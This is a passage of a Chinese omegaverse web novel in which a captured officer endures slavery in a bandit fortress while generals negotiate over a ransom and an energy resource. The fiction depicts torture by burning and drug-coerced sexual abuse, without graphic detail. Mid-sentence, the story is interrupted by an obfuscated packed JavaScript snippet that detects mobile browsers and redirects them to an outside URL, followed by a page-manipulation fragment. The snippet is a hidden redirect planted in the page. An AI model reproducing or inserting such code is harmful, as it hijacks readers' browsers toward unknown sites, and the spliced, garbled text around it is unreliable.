负责锁门的监工也掐灭烟头,扫兴地用脚踢一踢地板。
原因无他,通过麻子脸的改编和精彩演绎,一个看似蒙昧王子经过磨练成长的故事揭开层层面纱,始终叫人猜不透走向结局,吊足胃口。
开始觉得王子会是个贤明的接班人,怎料他胸无墨点,只沉迷声色犬马。
刚以为他在林中遇到的貌美少年是仙子幻化的引领者,结果对方摇身一变,竟成了恐怖刁滑的魔物。
后来想他总该灌醉看守借机逃走,因此获救并得到成长了吧,谁知这又是魔鬼故意为之,接着一寸寸撕掉他的皮肤,将他推进泥沼。
锁门熄灯前,人们还在讨论着奇妙的故事。
“完全想不到结局啊,说不定以诺最后是死在里面呢。”
“你真是笨,这种时候肯定会出现一个善良美丽的女孩或男孩,对王子一见钟情,解除他的诅咒,然后二人相爱打倒魔鬼,结局圆满。”
“那不就俗套了嘛!而且以诺连人都不是了,又爬不上岸,谁会爱他。”
“他不是会学鸟说话了么,总会有办法的。”
“不不不,这绝对是个悲剧,他必须死在那里,为自己过去的罪行忏悔,然后化成泡沫升天……”
讨论的男女就在自己旁边,身为王子以诺的原型,伊诺克·普莱德却不知作何感想。
他只是背对栅栏侧卧,把身子蜷起,像只没了壳的蜗牛。
连续四天的劳作与糟糕伙食堪比神经毒素,将他里外掏空。
唯一能让他感觉到自己还活着的时刻,是麦迪婆婆教训他并为他换药,还有他被麻子脸叫走‘取材’的时候。
前者让他感到身体的疼痛和矛盾的安心,后者则带来心灵上的钝痛,原因不明的窒息。
但无论怎样,他都极力赞同雪狐当初的高评价。
所有奴隶中唯一一个没编号的麻子脸,无名的吟游歌手,除了有神乎其技的弹唱与表演技巧,还深谙改编之道。
以诺的故事里处处没提他,每个字却都在说他。
他的过去,现在,以及交织其中的回忆与情感,被全数填进故事还原,又将他以旁观者视角回顾时的心潮缝合进乐曲,触人心弦。
这是只有‘主角’本人才能做到的相认与共鸣。
而对于其余听众来说,那仅仅是一个故事罢了。
“喂,诺克,麦迪婆婆怎么还没回来。”
过去莫奇念错的名字,如今真成了自己的新身份,伊诺克回神抬头。
叫他的是与他同岁的龅牙青年,烧伤的脸半边肤色偏白,脑门也有一片稀疏得只剩斑块状的头发,秃得很是滑稽。
青年也常常用斑点鱼的外号自嘲。
但面对一张仿佛已经四五十岁的沧桑脸庞,伊诺克笑不出来。
“怎么,今天又有人受伤了?”他坐起身,边问边环顾一圈。
年龄最大,受俘时间最长,精通医术的麦迪婆婆算是索拉兵团里的知名老beta员工了。
有她教训不听话的新奴隶,就能早早掐断他们逃跑的歪心思,若有谁生病受伤,她则会找草药治疗伤患。
这样既能给管理减负,又不愁多发一份薪资,兵团留她一命何乐而不为。
“嗯,算是吧,小赛的妹妹又头疼了,这已经是她今天第七次了哎,问她也找不到具体原因。”斑点鱼不好意思地搔搔耳根,“这样下去小赛要是知道了,导致她在寝室分心表现不好的话……”
说到最后,斑点鱼的扭捏急转直下,变成深深的痛恨。
他恨的当然不是小赛,也绝非对方托给他照顾的病弱妹妹。
望着对方被怒火淹没的脸,伊诺克揉着脑门,不禁长叹一声。
“唉……”
所谓‘寝室’肯定不是指奴隶睡觉的地方,乃是崖壁内部,兵团成员的活动场地。
能生育的omega,长得漂亮的beta或alpha,总之只要被看上,这些人就会被带到寝室,成为里面的奴仆。
奴仆不仅要负责打理那群匪徒的生活起居,还要承受他们的欲|望,只有极少数的‘幸运儿’会被选中成为某一人的伴侣,无需再过牲口般的悲惨生活。
至于幸运儿本人是否愿意?
那根本就不在讨论范围内。
一次不肯就范就强行标记,无法标记那就威逼利诱,若目标倔犟到宁死不从,那就用上来自黑||市的便利诱导剂,乃至升级版的催||情|药,将人变成没有理智的泄|欲玩偶。
总而言之,他们有的是办法将一个身心健全的人变成只满足自己的奴隶。
攥拳锤向地面,以此叫停混乱的思绪,伊诺克倏地站起,动作略显仓促。
“我知道了,我试着找麦迪婆婆回来。”
整层监牢不见老太婆的影子,他只好来到通道口。
果不其然,他被看守拦下。
“我是麦迪婆婆的助手,她让我这个时间点必须叫她回来,有一个腿伤的人需要及时清理创口,否则他今后很难站稳。”
他面不改色撒谎,仿佛根本不在乎被发现后要受的鞭刑会有多煎熬。
看守冷眼打量着他,表情里的怀疑成分逐渐升高。
眼看对方就要抽出铁鞭,一只手率先搭住他肩头。
“哎呀,那病人是我同屋的,他要是死了就太可惜了,他还有一个童年时期撞见邻居藏尸的故事没给我讲完呢。我跟你一起去吧,诺克。”
是麻子。
这人简直是一张万能通行卡,只要他露脸,所有监工都睁一只眼闭一只眼,摆摆手给他放行。
看来作为大首领的御用歌手,他之前没少仗着特权向对方属下挖掘素材,成了或许是全区知道秘密最多的弄臣。
今夜也毫不意外,他成功带伊诺克走出牢房。
然而和他独处却是后者现在最抵触的。
因为,以诺的故事快到尾声了。
一如真正的‘以诺’惧怕自己想象不到的未来,他也抗拒得知王子的故事结局,即便那是别人帮他编造下去的。
“星期一要工作来两杯,星期二外勤喝三杯,星期三和星期四蠢货老板的说教日,噢噢,只有玛蒂娜的麦芽酒香懂得我的苦味~”
故意保持一米距离落在后面,伊诺克仍能听到对方哼着欢快的曲子。
“星期五后是美丽星期六,快乐的假期我们一醉方休~”
应着和旋律完全不搭的歌词,麻子高举双手,每走几步就大跳一下,陶醉得如入无人之境。
看着对方浮夸的步态,伊诺克距离拉开得更远了。
“又是一天星期日,我把猎枪放门口,不管来的是老板还是家主,我都要崩他一个脑门!咻嘣!”
荒诞的唱词入耳,伊诺克脚下一滑,打了个趔趄。
听到动静,麻子脸转头,还保持着射击的手势问他。
“怎么了,我的朋友,是想起要去哪找麦迪夫人了吗?”
差点栽倒的伊诺克无言以对,顺着杆子上爬。
“嗯,她大概是在楼下一层吧,最近傍晚她常去那里,回来后身上……消毒剂的味道很重。”
是消毒剂也是血腥味,只有相当庞大的血量才能将一个活人染成那种令人不快的味道。
才说几句话的时间,二人已走到楼梯转角处。
“……别……”
轻微的说话声入耳,伊诺克眼疾手快将麻子拉回,他带着人闪身躲进杂物箱后,一系列动作几乎是条件反射。
若不然,他俩都要挨鞭子或丢到禁闭室里了。
所幸脚步和交谈的声音都停在拐口处,恰好是能让他们听清内容的程度。
“我一个没正经读过书的糟老太婆,掺和不了你们的宏伟大业。我只负责拉扯牢里的人,免得他们死光光,到时候重活累活又分到我头上。”
麦迪婆婆语气嫌恶,似乎是在谈要退出什么任务。
“别这样嘛,麦迪夫人,您虽然不识字,可您的医学造诣却是我们这最高的,连老大专门请回来的名医学徒都比不过您呢。”
一个油腔滑调的男人接话,是尼克·哈里斯。
苍老的声音冷哼,直言道。
“术业有专攻,我只会救人,研究不了杀人的行当。”
杀人?
捕捉到关键词,靠外侧的伊诺克不禁屏息。
“瞧您这话说得,我们老大只是想要借鉴曾经的狮鹫老前辈,紧急提升一下战力,否则今后怎么保护你们各位啊?”
“噢?怎么借鉴,挖开别人脑子的那种吗?我看你们别再叫什么狼啊虎啊蛇的了,直接统一一下,改成食腐秃鹫吧,最爱吃别人脑子的那种。”
似乎是厌恶到了极点,麦迪婆婆都不再像平时只阴阳怪气,而是当面唾弃。
被她冒犯,尼克·哈里斯打断属下的怒叱,接着像小辈朝晚辈撒娇一样哀求。
“那我不用您直接参与,只需要当贝内特医生的助手,尽量减少实验品的耗损量如何?您也是知道的,奥古斯那个在首都一毛不拔的老公鸡已经很久不分给我们蓝月能源还有——”
“哐当。”
响声微弱,在夜间却似一颗危险地雷,触及便能惊动全员。
尼克扬手制止属下,亲自迈上台阶。
他脚步无声无息,如一道魅影滑进走廊。
通道里没人,只有根钢条横倒在地面,想来是白天没放稳,夜里被小窗的风一吹就倒了。
此为他给属下的解释。
但他和鼻子灵敏的麦迪老太婆都知道,漆黑走廊里曾经来过两名不安分的听众。
仓皇地逃走,震惊而无措,这便是其中一名听众的反应。
他惊慌自然不是因为偷听差点被发现,而是话里提及的名字,尖锥一样刺进头颅。
叫奥古斯的很多,可既身处首都,又能轻易接触到蓝月能源,乃至尼克·哈里斯口中的未知实验品的人,当今世上只有一个。
手握最大管辖权的大元帅,奥古斯·普莱德。
“恕我直言,苏霆元帅,您的做法无异于是在跟尊敬的大元帅割席,而且还置我们于一个不仁不义,进退两难的境地。”
圆形会议厅内,褐发长须的alpha将军一手叩击桌面,义正言辞地强调道。
“虽说你们的斯卡蒂是独立区,拥有宽松且利于你们自身发展的自治权,可这不代表着我们能随意陪你胡来,视律法为儿戏。念在旧情,我个人感谢你选择同我合作,但我贺拉斯·弗伦同时是第六区的元帅,我不能不为我的部下和人民考虑。”
黑胡木圆桌散发着沁香的油墨味,天顶透入的阳光温度正好,然而听完贺拉斯元帅的一番发言,坐在苏霆身旁的谢云哲只觉得隐隐作呕。
已经五天了。
第一天他们三方在界线哨站见面简单问候,第二到第四天洽谈细节。
到了第五日,也就是今天,这场由各怀鬼胎的人集结,多重权力交织的合作协商来到结束前的小高|潮。
交易双方用着不一样的口吻态度,把之前的台词重新演绎,以此传达出他们真正想说的诉求。
中坚保守派,表面反对派,临时积极派,总共也就三位需要谈判的对象,没想到这就分成三类种属。
初次接触这种圈层的权力交战,谢云哲虽经验不足,可连续五天的表现果然没愧对将他从侍者调动到文官的‘上司’厚望。
趁反对派的贺拉斯在滔滔不绝,他悄然环顾一圈,调动起目前收集的信息。
没亲自到场的第五区元帅阿什莫仍未表态,但此人向来独来独往,行事既不出挑也不庸常,从不拒绝大元帅的指令。勉强算在保守党。
贺拉斯无需多说,毫无悬念地虚假反对派。
反对原因才不如他口头表述的,是畏惧律法和大元帅的追究,而是不满于交易的条件。
更直白地说,他还想要更多。
而至于那位从头到尾的积极合作对象……
“哐。”
碰撞声响亮而不刺耳,是位于圆桌正南位的宾客抱起胳膊,脚踹桌下横杠。
她连人带椅后仰,保持着绝妙的三角构架,似一座倾斜却平稳的山丘。
“贺拉斯·弗伦。”
她开口,嗓音独特且厚重,令人联想到凿山用的钢镐。
轻巧却能一击致命,也不惧于用自身的磨损挖穿岿然不动的高峰。
全十三辖区唯一一个草根出身的beta元帅,只大苏霆三岁的苓,她银白长发后梳,碧绿双眼始终透着一种危险的精干眸光,这头狼般的形象确实符合她声线营造的压迫感。
她毫不客气地截下话头。
“你不必拐弯抹角了,在座的各位哪个不是要为自己底下的人殚精竭虑?这样吧,我也念在旧情,替你转告苏霆——你不止想要能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643047|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源洞,还想要完整的山脉勘测图。如何,这样你就不会挂不下脸了吧。”
被当众戳破心思,大她和苏霆一轮的贺拉斯神情不变,卷起协议草稿轻敲桌面两下。
“苓女士,我知道你一向没耐心,可你要知道此次事关蓝月能源,尤其还涉及开采洞的再确认,容不得你我马虎对待。本来一确定枯竭,我们就应该立刻上报首都的。”
“噢?那你的意思是,你瞧不起苏霆的人,怀疑他们的实力和态度喽?”
苓斜眼一瞥,故意想把寡言的苏霆拽进争锋。
“山脉开采洞是真枯竭还是假休眠,我相信驻守在那冰雪仙境五代人的苏家不会判断不出来吧。”
同是含沙射影,苓的话不似贺拉斯的反感。
将原因归咎在她与某少爷的相似上,谢云哲定了定神,主动迈入战局。
“苓元帅,贺拉斯元帅,抱歉打断两位,但还请容许我在此插一句必要的解释。”
青年不卑不亢,灵秀的长相不具攻击性,俩大领导人一个点头一个摊手,爽快同意了。
“相信两位早有耳闻,由于索拉兵团安定了一年,我们也有时间抓紧巩固境内建设,可原来的难题只是被搁置,并未解除。”
在基地受到熏陶,如今睁眼说瞎话的这一巧技谢云哲也练得炉火纯青,他边说边拿出补充文件,传阅的同时开启大屏。
“目前我方使用的仍是仿造初代原型机的勘测仪,即旅鼠。但说实话,旅鼠的勘测范围最深只到地下八千米,而蓝月能源实际是比地下水脉更多变的存在。
七十五年前,我们甚至还发现过它与冰川山石相结的复合体,与开采洞隔着两座山峰,也曾多次短暂地在西南侧探查到微弱波动。”
可靠的数据,清晰的图表,最主要的是青年详细而中肯的讲解,三者相加一再让某个不言自明的要点也是鱼饵凸显。
在斯卡蒂东侧,仪器对旧的能源开采洞是毫无反应了。
但西侧,还有其他地方,说不定仍涌动着丰富的储量。
若真是如此,旧矿点的存在并非毫无价值,它起码还能作为探查和深挖的新起点,给后来的使用者节省一大把资源。
“唔,有趣。”
苓元帅率先应声,直勾勾盯着讲解的秀气文官。
得到对方恭敬的低头一礼,她又是哐的一声,让四只椅脚落回平地。
“苏霆,我知道你不喜欢废话,我也一样。”她开口直指沉默的乌发男人,露出客套也明艳养眼的笑,“我就开门见山的说吧,不管其他人怎么想,我与我代表的第七区愿意与斯卡蒂同在。谁让我们面对着同一只脑满肥肠,行事龌龊的害虫。”
苓颔首,示意挂在后墙上的地图,标记着索拉兵团的位置。
可看她意味深长的目光,‘害虫’又指向一脸淡然的贺拉斯。
后者理应是听懂了,竟还能回以毫无破绽的微笑,也轻描淡写道。
“生命对生存的渴求会让其本身变得面目可憎,不过,手段的龌龊与否是最终存活下来的胜者才需要考虑的,好比一种警戒后世的回忆录,或者说前辈对后辈的警告。”
“您言之有理。”苓元帅皮笑肉不笑道。
说真的,连续五天观赏这伙当权者的交际舞台,撇去立场和主观因素,谢云哲不得不对每一人都诚心拜服。
他们的定力非比寻常,必要时又有着壁虎断尾,蜥蜴换色的变通,仿佛是学遍了其余物种的生存之本,为己所用。
讲得稍微难听些,连‘厚脸皮’都成了他们必不可少的武器。
好在气氛初步缓和,谈妥的苗头隐隐冒尖,若不出意外,明天他们又能换上另一副‘被说服’的脸孔。
预想是如此,一个毁灭性的严峻‘意外’也像他猜测的那样来临。
由远在斯卡蒂的季宇飞转达,而他拿出毕生演技慌张地推门而入,焦急地通知苏霆,伊诺克·普莱德在采风途中被兵团掳走,挟作人质的消息。
延续以往的作风,索拉兵团利用小飞行器靠近边线投放勒索信胶囊,或该说战书。
除了发来一张会让人直呼‘不可理喻’的赎金清单,他们还让伊诺克少校面对镜头,念出提前准备的话稿。
内容主要传达了三个意思。
其一,他们并不介意苏霆上报大元帅等人。
其二,赎金必须在三天内准备好,没有讨价还价的余地。
第三也是最后一条,他们竟然要求曾经的‘前人质’——苏洛少爷亲自去送赎金接准未婚夫,随行不可超过二十名士兵,也不准携带任何武器。
这也太嚣张了吧!
玫瑰粉色调的卧室里,谢玉海陪着一起看完录像,大感震撼。
他以前单知道兵团的暴虐无道,如今才对他们的秉性和作风有了实际概念。
咋舌之际,小少年不禁看向身边。
正对电视的圆桌旁,苏洛气定神闲,他左手抓起一大块鱼排塞进嘴里,右手拿好整瓶琥珀色的混合果汁,准备就绪。
现在,谢玉海的惊愕对象转换了。
从今天早上,不,更精确地说是前三天的晚餐开始,这黑心omega就像打开了一个无底洞的深渊巨胃。
只要醒来就在吃东西,几乎是一刻不停,完全摈弃一日三餐的理念。
有幸升职为‘电视机侍童’,谢玉海也坐上饕餮进食戏的贵宾席,亲眼目睹青年啃光整头烤全羊,连眼睛都不带眨一下。
谢玉海止不住地抽搐嘴角。
这家伙,是暴食症吗?
可就算是暴食症,人也不可能一口气吃掉比自己体型大数倍的食物还毫发无损的啊!
此时少年头脑凌乱,季宇飞则结束通讯,从外间返回。
“已经确认了,小少爷,大元帅下达指令,要苏霆跟另外两名元帅共同施救。现在他们正一起赶回来,准备商讨战术。”
像是说到一个愚蠢到荒唐的笑话,季宇飞连连摇头,眯弯了眼睛道。
“然后,他表示你作为深爱伊诺克少校的未来伴侣,有义务参与此次的救援。”
闻言谢玉海忘记藏表情,顿时皱紧眉头。
他没直接看到大元帅的命令,但从季宇飞的表述中,他感受到一种明显的倾斜。
再怎么说,伊诺克·普莱德还是身强体壮的alpha军人,大元帅之子固然是营救他的情由,但却不是为了他而搭上,甚至能说是故意将另一个omega推进火坑的合理解释。
这不就是变相地哄别人去换自己儿子出来吗?
对‘黑心苏洛痴恋花心少校’的传言深信不疑,饶是谢玉海也心里一紧。
擦完嘴和双手的油汁,苏罗目光仍停留在录像定格的最后画面。
胡子拉碴,脸上挂彩,套着一件破烂的粗麻衣,只剩那头红发在压抑昏暗的囚室里苟延残喘地泛着光泽。
伊诺克·普莱德的眼神完全死去了。
仿佛沉落沼泽的雏鹰,连靠自己振翅挣扎都做不到,心中的指针反复在绝望放弃和本能求生摇摆。
仅仅是遇袭受俘,无法造成如此重大的打击。
相信任何一个深爱孩子的父亲在看到这幕后都会忍不住胡思乱想,坐立难安的。
如今奥古斯只是让苏霆和‘恰好’在场的另两个元帅领兵秘密救援,已经算有理智了。
“这件事都通知下去了吗。”苏罗开口道。
“通知完毕。”季宇飞立即接话,“他们都已准备就绪。”
就像看不明参谋长那双狐狸眼中的光亮,谢玉海也不懂大胃王青年为何能漫不经心地勾起嘴角,一脸自负地握住轮椅把手宣告道。
“做得好,那么事不宜迟,我们这就去接阔别已久的老朋友们回来叙旧吧。”
35.元首的蓝宝石35
A-2区牢房,曾经的编号12397号奴隶小赛——赛琪被接回来了。
在麦迪婆婆和斑点鱼的护送下,她进入原来的笼室,连着一张嘎吱作响的旧担架。
少女全身裹着纱布,但脸和四肢仍有裸|露的地方。
深红色的,覆盖一层焦粒的肌肤,在她途经之处散播着诡异的肉味。
那不臭也不香,只是浓郁到堵塞鼻腔,揪着人们不得不转过去看她。
看她像一块三成熟的肉排,胸膛微弱起伏着,鲜血自在乱淌着,比任何故事描绘的‘怪物’都要不可名状。
冷不防看见她,现任12397号‘诺克’如遭雷劈,僵立着直到麦迪婆婆踹了他小腿一脚。
“快去D-3那找老雷夫,我的药膏在他那。”
伊诺克点头照做,行为更多是数日下来的条件反射,做梦一样当助手忙到尘埃落定。
全身烧伤的赛特体征平稳下来了。
是平稳也是虚弱,若没有符合条件的治疗环境,她最好的结局就是在昏迷中死去,也算逃过一个感染发炎,生不如死的受罪过程。
她年仅七岁的妹妹茉莉憋着泪,一直守在旁边配合医生即麦迪婆婆,时不时呼唤几声,撑起一个濒死患者的家属该有的坚强。
现在,众人终于有时间问清来龙去脉了。
“是虺蛇那混蛋!”斑点鱼跪坐在旁咬牙道,毁容的脸皮上凸起蜈蚣状的青筋,“他只是觉得小赛倒的水烫到他了,就把她揣进火炉里,还不准别人灭火,我、我——”
怒气哽住喉头,有过相似遭遇的斑点鱼难以言语。
他只是被烧伤了脸,可赛特却全身被毁,危在旦夕,随时都有丧命的可能。
不,应该说在这地狱般的要塞里,赛特的惨死早已注定。
问问麦迪婆婆就知道了,她是她们那一批奴隶里唯一一个还活着的,送走后来的无数同胞。
“该死的巴斯特!我一定要——”
悲愤交加之际,流不出泪的斑点鱼胆敢直呼大首领之名咒骂。
好在伊诺克眼疾手快,捂住青年的嘴又朝栅栏踹了一脚,用震声掩盖动静。
经过这些时日他已充分了解到,这里的奴隶并非患难与共的和谐群体。
在互帮互助的团结之前,他们首先是艰难苟活的个体,用告密换取生存利益的人不在少数。
强忍肌肉的酸麻,他揽住激动的斑点鱼向外走。
“你去找熟悉的人多要点干净的布来,想办法用热水烫一烫,之后擦血替换纱布可能用得上。”他凑近提醒,进一步转移青年的注意。
对方很快卸了力,挥舞的双臂骤然垂落。
呜咽声难听得像是快断气,仿佛是要呕出内脏,青年就此靠在伊诺克肩头,不断向他耳中灌入这种声音。
斑点鱼的悲哭果然要比麻子演绎的王子以诺真实。
“如果、如果有药的话。”他痛苦喘息着,捂住脸呻|吟道,“要是我们也能拿到蓝月能源的治疗液的话……”
这种程度的伤,浓度最低的蓝月能源也能瞬间治愈,即便是少量也能帮赛特保住命。
伊诺克往前的步伐停滞。
当斑点鱼收拾好情绪一步步走远,他依然杵在牢笼门口。
有那么三到五秒的时间,四周的臭气嘈音离他远去,牢房不平整的地板也不翼而飞。
万事消弭,连黑暗也一并退离。
无光却纯白的世界,他无法辨别方向。
似乎往哪走都能成立,只是不知结局落在哪处,更难以寻见未来的模样。
话说回来,‘未来’这种糊弄人的词语到底是谁创造出来的?
未能抵达的来路?
尚未来到的时刻?
怎么想都是荒唐的东西。
人怎么可能看得见没出现的,不存在形体的东西。
一种靠感官认知世界的动物,凭什么笃信毫无根据的指向力。
若要求得实验结果,就必须讲究数据和概率,选择最有利的方法,不是么?
当然是的。
此为伊诺克·普莱德的最终答案。
而奴隶诺克代为践行,转头便找上看守,要求约见二首领雪狐。
“我想起一条关于斯卡蒂基地内部的关键情报,我要求跟他当面谈交易条件,只能他知道,带我去见他。”
多天以来,他第一次正视满脸横肉的看守。
令他意想不到的是,他竟在对方眼中发现转瞬即逝的怯意,不过他接着就被粗暴地拉出牢房,领到‘寝室’区域。
相比奴隶活动的外层,内部的条件优越得不在一个阶层,设施甚至好过斯卡蒂的南哨站。
透过几扇闸门,伊诺克认出几架军用级别的武器,但型号明显不符合任何一个工厂。
如此,就只剩一个‘外部获取渠道’了。
索拉兵团与流窜的星际海盗有勾连,这是人尽皆知的事实。
那帮星外匪徒靠的是大倒退之前留存的装备,尤其是短途的空间跃迁仪致胜,若没了适配的资源,他们的行动将严重受限。
这也是为什么他们一直虎视眈眈地徘徊在星球外,觊觎着地表上的蓝月。
通道走到中段,押送的二人将他推进一个没有家具,没有窗户的双门隔间。
大概是得到‘不准打扰’的命令,两名看守转头就走,带着一串不和谐的脚步声渐渐远去。
现在,轮到奴隶萌生了不和谐的心音。
没有监控,没有看守,雪狐暂时不知所踪。
一下就撞到绝妙良机,他只有深深的惶恐。
“噢?你怎么也到这来了,朋友。”
某道声音倏然响起,吓得伊诺克差点心跳骤停,他回头,看到另一扇门后探出麻子的笑脸。
这神出鬼没的家伙倒是自在,轻敲两下玻璃。
“你是有新的内容要补充给我吗?你等着,我马上放你进来。”
拒绝的话刚到嘴边,伊诺克闻言立马点头。
既然都到这一步了,他干脆就再利用一下对方,然后马上踹掉。
原计划是如此,可谁曾想麻子的难缠程度远超想象。
无论他怎么找借口支开人,这背着琴的怪胎硬是要跟在他左右。
眼看就要进入下一段长通道,很可能会遇到兵团里的其成员,他实在忍不住转头。
“我说,你能不能别再跟着我了,我的故事已经讲完了。”
麻子没听见似得,摆动双臂蹦蹦跳跳,见他不走索性围着他兜圈道。
“不不不,我亲爱的朋友,你只是告诉了我上半册内容。我和我热情的听众们还等着你同样精彩的后半场呢。”
听人哪壶不开提哪壶,伊诺克捏住眉心,语气又强硬几分。
“我现在没有要跟你说的东西,你离我远点。”
“为什么?”麻子绕到他身后,歪过上身问道,“离你远点,然后好让你去偷这里的治疗液吗?”
红发奴隶愣住了。
“让我猜猜看,你是要给赛特小姐吧,唔——那位确实是个不幸的人,才在一场屠杀中失去父母,在这又和妹妹分开,被几个匪兵轮流强占。他们用的是上乘的全新诱导剂,浓度是百分之五十的,长期使用据说会对损坏脑髓,不知道你有没有听说过呢?”
伊诺克一把拽住麻子的前襟,快要压不住嗓音中的暗怒。
“别说了,给我安静点!”
对方掩住嘴,左右张望几秒,竟还不识趣地凑上来。
“放轻松,朋友,我只是好奇你为什么要这么做,你应该知道的,一旦他们发现了,肯定会让你吃不了兜着走。要比打屁股和手心的惩罚还重哦。”
“与你无关。总之你不想死就滚远点。”
在奴隶堆里不必讲礼节和假惺惺的体面,伊诺克将人推开,大步向前。
寥寥几句对话下来,他像被剥了一层皮,浑身刺痒。
“哎,你这么说就不对了,朋友。我为什么要因为惧怕死而远离你呢?所有事物里,唯有死是最亲切的良友,最值得学习的思想家,它招之即来,任劳任怨。”
麻子紧追不舍,笑容灿烂得令人生恨。
为此伊诺克二度停步,用力按着自己眉骨突出的地方。
“我怕死,可以了吗?所以我现在不想见你,也不想被你害死,就是这么简单。”
他扭头,却在对上那双蓝眸的瞬间乱了阵脚。
往日他总看不透这双眼睛,也因自己的懊丧无心细究。
此时此刻,他望进了深处。
就像趴在一口水井边,惧怕着随时会出现的怪物,结果最后才发现,那暗中扭曲的影子是自己的倒影。
“但你现在在寻死呢,我的朋友……”
麻子盯着他笑了,油腔滑调的嘴脸在这一刻变得格外恐怖。
怕死却在寻死。
想要保命独活却又为了不曾相识的少女冒险偷药。
分明每分每秒都渴求着逃离却又一步步主动地深入这地方……
连他也无法解释自己的行为逻辑,荒唐得可笑。
恍然中,伊诺克也顺利开窍,明白对人体贴入微的麻子为何今天非要跟着他。
——不荒唐,无故事
坚守这一信条的游唱歌手俨然将他矛盾的痛苦看作精彩篇章,誓要看到结尾。
某股寒意似鸟爪蹿过脊背,这回是伊诺克被对方拉着躲进一扇门后。
他们刚藏好,尽头的金属墙便如帷幕升起,里面走出一列光鲜亮丽的兵团成员。
他见过的雪狐包含在内,数名干部簇拥着一个体型巨大,头发倒竖的男人。
仅凭第一眼印象,在军队呆过的伊诺克就认定此人不好对付。
极具压迫感的身高,远超正常alpha的体格,以及那双异色眼眸透出的浓重欲|念,每一项都能把他顶上‘硬茬之首’的宝座。
那漆黑装束包裹的仿佛不是人类之躯,乃是从岩壁降生的石胎,每走一步都震动着山体。
他的身份太好猜了。
索拉兵团的现任大头目虺蛇——巴斯特,靠杀掉老首领和所有反对自己的成员上位,并贯彻残暴的统治方针至今,让西区寥寥无几的散民还有周边辖区鸡犬不宁。
面对他,连雪狐尼克也不敢太嬉皮笑脸,正经汇报着。
“首领,长耳鼠他们在山道口发来消息,说已经看到一辆雪行车越过界线了,是私家车,但车上的具体人数暂不确定。保守估计最多十人。”
“我们预计在下一站,也就是斯丹山的卡口处拦停他们,确认无误后再放行。”
话说到这,尼克挂起嘲弄的笑。
“根据我手底下的人搜集的情报,苏霆还在第七区的哨塔议事,若他想马上赶回来,除非是长了翅膀飞上天。”
“所以,来的确实是那小少爷?”
巴斯特发话了,声音雄厚得有如地鸣,引人心悸。
“还没有明确证据,但八九不离十。”尼克说着摸摸下巴,疑惑道,“不过我是没料到,他竟然真的会为伊诺克·普莱德过来。在他诱骗一通成功后,他可是直接把尊贵的少校丢进垃圾回收桶里了呢。”
靠门聆听的伊诺克抿紧唇。
他忽然很想反驳。
每天安排士兵巡守边界,驱赶野兽但不破坏生态的南哨站才不是什么垃圾桶。
队伍经过他躲藏的隔间门口,他清晰地听到巴斯特的一声冷笑。
“他们是来跟我们抢人质的,没有普莱德家的小毛头,他们拿什么去要挟奥古斯造反?苏霆的弟弟跟他一样不识好歹,比他还沉不住气,正好,我可以好好疼爱他一番,教他明白……”
后面的说话声沉没在走廊中,也在红发奴隶的心间投下惊雷,令他一时忘记此行目的。
那个人真的过来了?
只带着一车不到的人手,穿过白雪皑皑,极易迷失的森林爬上山坡。
期间三次被全副武装的兵团士兵截停,经受各种粗鲁无礼地检查,面对不怀好意的目光。
不同于在家里的嚣张,今天的苏罗表现堪称奇迹,他不仅十分配合,还对几个朝他做下流手势的匪兵报以微笑。
看着怪亲切的。
和他随行的就八人,其中一个还是只负责驾驶的西奥多,他们都对小少爷向敌人的示好视若无睹。
甚至也学起对方笑脸相待,仿佛是不知危险为何物的傻蛋新兵,分不清枪托枪杆的装法。
“真是奇怪。”
树木稀少的坡顶,第三批索拉士兵目送他们的车远去,也就这一句感想讨论起来。
“他们确实没带任何武器,车上也没动手脚,除了一个alpha士兵,剩下的是七个omega文员。”
“赎金呢?”
“有三个袋子,没大首领的口谕我们没敢直接打开,仪器扫描出来只是液体和纸状物质。”
“那应该错不了了,不过这数目也太少了,当我们是什么好打发的人么……”
浓度在百分之五十以上的蓝月溶液两吨,高达首都总产值的金额数目,兑换成通用币或物契地契。
今日只带了不到十分之一的赎金,苏罗悠闲地靠窗赏景。
西区的地势要比东区底,密林峡谷居多,另有一座著名的“金刚山”,其石质硬度是当今世上最高的,天然具备屏蔽信号的特质。
过去血红王曾下令,启用当时最顶尖的工程队凿山开发。
奈何动工到一半他就被暗杀了,随之而来的是无止尽的内斗战乱,所以当时他要修什么至今成谜。
索拉兵团正是霸占了该项工程的废址,建立了难以攻破的山壁据点。
后来更是有传言说,他们找到血红王留下的秘密武器,其威力强大到能够一瞬毁灭全部辖区的兵力。
车身颠簸,转过一处弯道,宽阔平地和拔地而起的山壁映入眼帘。
经过不断地整修加固,那座废址已然成为固若金汤的要塞,里外分层,上下分段。
漆黑岩壁是绝妙的掩体,足以跟装甲外壳媲美。
西奥多沉默着减速,让车停在山壁两百米开外的位置。
这里已经提前垒好一道石墙防线了。
苏罗单手撑门,在独自下车前向那七名士兵说了整趟旅途里的第一句话。
“等会儿要怎么做,你们清楚么。”
车后座里,七个omega新兵容貌稚嫩,神情无害,乖巧点头的样子堪比绵羊。
“谨遵钧命,阁下。”
其中一人代表发话,坐姿的敬礼干净有力。
得到回复,苏罗露出一抹神气活现的笑,转身拎着两个提包跳向雪地。
他走姿像散步,神情更是悠然,仿佛是来野餐的,而不是单枪匹马来谈判要回人质的。
一台蝠型机器下降,落在石墙顶端。
从它小口扫出一束光,铺开颗粒塑成半透明的人像。
“日安,苏小少爷。”
尼克·哈里斯果然作为代表露面。
“一年不见,您出落得更明艳动人,也更英姿勃发了呢,恐怕会让我们这的alpha今晚集体做梦,梦见您大驾光临。”
“我这不是真来了么。”苏罗放下东西哼笑,轻轻拨了拨头发,“怎么样,我之前送给你们的见面礼,可还满意?”
“如果您是说我那位半死不活的前辈,上一任二首领狮鹫阁下的话,我们的确收到了。”
现在的‘雪狐’摊手,挤出虚假的笑声。
